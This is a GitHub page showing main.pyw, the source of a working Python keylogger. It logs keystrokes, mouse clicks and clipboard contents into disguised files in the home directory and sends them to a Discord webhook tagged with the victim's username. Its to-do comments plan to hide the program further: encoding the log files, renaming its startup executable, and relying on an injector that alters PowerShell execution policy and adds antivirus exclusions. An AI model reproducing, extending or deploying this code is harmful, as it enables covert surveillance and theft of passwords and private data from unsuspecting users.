-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathmain.pyw
More file actions
318 lines (282 loc) · 10.4 KB
/
Copy pathmain.pyw
File metadata and controls
318 lines (282 loc) · 10.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
# To Do
# Update readme with new features
# encode files in `Source` directory, it can just be base64 that is decoded at runtime or something
# doing this means that if someone stumbles across the files and tries reading them they wont be able to
# at least not in plain text
# Create like a bat file or ps1 file to undo all the stuff the inject.bin does
# like removing main.exe from startup, restoring ExecutionPolicy settings, removing source folder from
# user directory, removing cache from exclusions list, and removing the cache folder
# rename and change icon of main.exe so it looks less sus if someone were to check startup processes
from pynput import keyboard, mouse
from pathlib import Path
from datetime import datetime
from discord_webhook import DiscordWebhook, DiscordEmbed
import os
import hashlib
import pyperclip
controller = mouse.Controller()
max_length = 17 # the longest keycode i could find was media_volume_down which is 17 characters long
clear_after_send = True
settings_name = "Source/main.dependencies"
input_log_name = "Source/main.x"
clipboard_log_name = "Source/main.extensions"
kill_switch_name = "Source/kill"
clip = ""
def kill_switch():
file_path = Path.home() / kill_switch_name
file_path.parent.mkdir(parents=True, exist_ok=True)
if file_path.exists():
return True
def generate_color(name):
hashed_name = hashlib.md5(name.encode('utf-8')).hexdigest()
r = int(hashed_name[0:2], 16)
g = int(hashed_name[2:4], 16)
b = int(hashed_name[4:6], 16)
return "{:02X}{:02X}{:02X}".format(r, g, b)
user_color = generate_color(os.getlogin())
def check_if_should_send(lines):
if lines >= max_lines:
webhook = DiscordWebhook(url=url, username="Keys")
file_path = Path.home() / input_log_name
file_path.parent.mkdir(parents=True, exist_ok=True)
with file_path.open('r') as file:
contents = file.read()
webhook.add_file(file=contents, filename="keys.txt")
lines = contents.splitlines()
filtered_lines = [line for line in lines if line.startswith(" Pressed:")]
filtered_content = "\n".join(filtered_lines)
webhook.add_file(file=filtered_content, filename="presses.txt")
try:
file_path = Path.home() / clipboard_log_name
file_path.parent.mkdir(parents=True, exist_ok=True)
with file_path.open('r') as file:
webhook.add_file(file=file.read(), filename="clipboard.txt")
except:
pass
embed = DiscordEmbed(title=f"Logs from {os.getlogin()}", color=user_color)
embed.set_timestamp()
webhook.add_embed(embed)
if clear_after_send:
file_path = Path.home() / input_log_name
file_path.parent.mkdir(parents=True, exist_ok=True)
with file_path.open('w') as file:
file.write("")
try:
file_path = Path.home() / clipboard_log_name
file_path.parent.mkdir(parents=True, exist_ok=True)
with file_path.open('w') as file:
file.write("")
except:
pass
webhook.execute()
def ascii_replace(key):
try:
if str(key) == "Button.left":
return "Mouse 1"
elif str(key) == "Button.right":
return "Mouse 2"
elif str(key) == "Button.middle":
return "Mouse 3"
elif str(key) == "Button.x1":
return "Mouse 4"
elif str(key) == "Button.x2":
return "Mouse 5"
elif str(key) == "<12>":
return "numpad 5"
elif str(key) == "<48>":
return 0
elif str(key) == "<49>":
return 1
elif str(key) == "<50>":
return 2
elif str(key) == "<51>":
return 3
elif str(key) == "<52>":
return 4
elif str(key) == "<53>":
return 5
elif str(key) == "<54>":
return 6
elif str(key) == "<55>":
return 7
elif str(key) == "<56>":
return 8
elif str(key) == "<57>":
return 9
elif str(key) == "<106>":
return "numpad *"
elif str(key) == "<107>":
return "numpad +"
elif str(key) == "<109>":
return "numpad -"
elif str(key) == "<111>":
return "numpad /"
elif str(key) == "<186>":
return ";"
elif str(key) == "<187>":
return "="
elif str(key) == "<188>":
return ","
elif str(key) == "<189>":
return "-"
elif str(key) == "<190>":
return "."
elif str(key) == "<191>":
return "/"
elif str(key) == "<192>":
return "`"
elif str(key) == "<222>":
return "'"
else:
try:
key = key.name
except:
key = key.char
if '\x01' in key:
return "a"
elif '\x02' in key:
return "b"
elif '\x03' in key:
return "c"
elif '\x04' in key:
return "d"
elif '\x05' in key:
return "e"
elif '\x06' in key:
return "f"
elif '\x07' in key:
return "g"
elif '\x08' in key:
return "h"
elif '\t' in key:
return "i"
elif '\n' in key:
return "j"
elif '\x0b' in key:
return "k"
elif '\x0c' in key:
return "l"
elif '\r' in key:
return "m"
elif '\x0e' in key:
return "n"
elif '\x0f' in key:
return "o"
elif '\x10' in key:
return "p"
elif '\x11' in key:
return "q"
elif '\x12' in key:
return "r"
elif '\x13' in key:
return "s"
elif '\x14' in key:
return "t"
elif '\x15' in key:
return "u"
elif '\x16' in key:
return "v"
elif '\x17' in key:
return "w"
elif '\x18' in key:
return "x"
elif '\x19' in key:
return "y"
elif '\x1a' in key:
return "z"
elif '\x1b' in key:
return "["
elif '\x1c' in key:
return "\\"
elif '\x1d' in key:
return "]"
else:
return key
except:
return key
def on_press(key):
# key press monitoring and logging
key_name = ascii_replace(key)
log = f" Pressed: {str(key_name).rjust(max_length)} | {datetime.now()}\n"
file_path = Path.home() / input_log_name
file_path.parent.mkdir(parents=True, exist_ok=True)
if not file_path.exists():
file_path.write_text(log)
else:
with file_path.open('a') as file:
file.write(log)
def on_release(key):
global clip
# Key release monitor and logging
key_name = ascii_replace(key)
log = f"Released: {str(key_name).rjust(max_length)} | {datetime.now()}\n"
file_path = Path.home() / input_log_name
file_path.parent.mkdir(parents=True, exist_ok=True)
if not file_path.exists():
file_path.write_text(log)
lines = 0
else:
with file_path.open('r+') as file:
file.write(log)
lines = len(file.readlines())
# clipboard monitor and logging
try:
if str(clip) != pyperclip.paste():
clip = pyperclip.paste()
log = f"{datetime.now()} :\n{str(clip)}\n\n"
file_path = Path.home() / clipboard_log_name
file_path.parent.mkdir(parents=True, exist_ok=True)
if not file_path.exists():
file_path.write_text(log)
else:
with file_path.open('a') as file:
file.write(log)
except:
pass
check_if_should_send(lines)
if kill_switch():
controller.click(mouse.Button.left)
webhook = DiscordWebhook(url=url, username="Keys")
embed = DiscordEmbed(title=f"Keyboard: Killswitch activated for user: {os.getlogin()}", color=user_color)
webhook.add_embed(embed)
webhook.execute()
return False
def on_click(x, y, button, pressed):
# mouse click monitor and logging
if pressed:
coords = f"{x}, {y}"
log = f"{ascii_replace(button).rjust(8)}: {str(coords).rjust(max_length)} | {datetime.now()}\n"
file_path = Path.home() / input_log_name
file_path.parent.mkdir(parents=True, exist_ok=True)
if not file_path.exists():
file_path.write_text(log)
else:
with file_path.open('a') as file:
file.write(log)
if kill_switch():
webhook = DiscordWebhook(url=url, username="Keys")
embed = DiscordEmbed(title=f"Mouse: Killswitch activated for user: {os.getlogin()}", color=user_color)
webhook.add_embed(embed)
webhook.execute()
return False
if not kill_switch():
file_path = Path.home() / settings_name
file_path.parent.mkdir(parents=True, exist_ok=True)
if file_path.exists():
try:
with file_path.open('r') as file:
url = file.readline().replace("\n","").strip()
max_lines = int(file.readline())
webhook = DiscordWebhook(url=url, username="Keys")
embed = DiscordEmbed(title=f"Connected to user: {os.getlogin()}", color=user_color)
webhook.add_embed(embed)
response = webhook.execute()
if response.status_code != 401:
keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release)
mouse_listener = mouse.Listener(on_click=on_click)
keyboard_listener.start()
mouse_listener.start()
keyboard_listener.join()
mouse_listener.join()
except:
pass